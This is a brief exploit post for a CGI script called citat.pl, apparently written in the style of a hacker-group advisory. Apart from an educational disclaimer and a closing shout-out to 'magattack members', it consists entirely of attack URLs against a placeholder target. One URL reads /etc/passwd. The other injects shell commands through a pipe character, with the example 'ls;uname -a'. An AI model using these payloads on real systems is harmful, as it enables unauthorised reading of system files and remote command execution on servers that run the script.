remote command execution in citat.pl script

IT IS ONLY FOR SECURITY AND EDUCATIONAL PURPOSE

1)file showing
http://www.target.com/cgi-bin/citat.pl?/etc/passwd

2)remote code execution
http://www.target.com/cgi-bin/citat.pl?|command

ex:
http://www.target.com/cgi-bin/citat.pl?|ls;uname -a;

greetz to all magattack members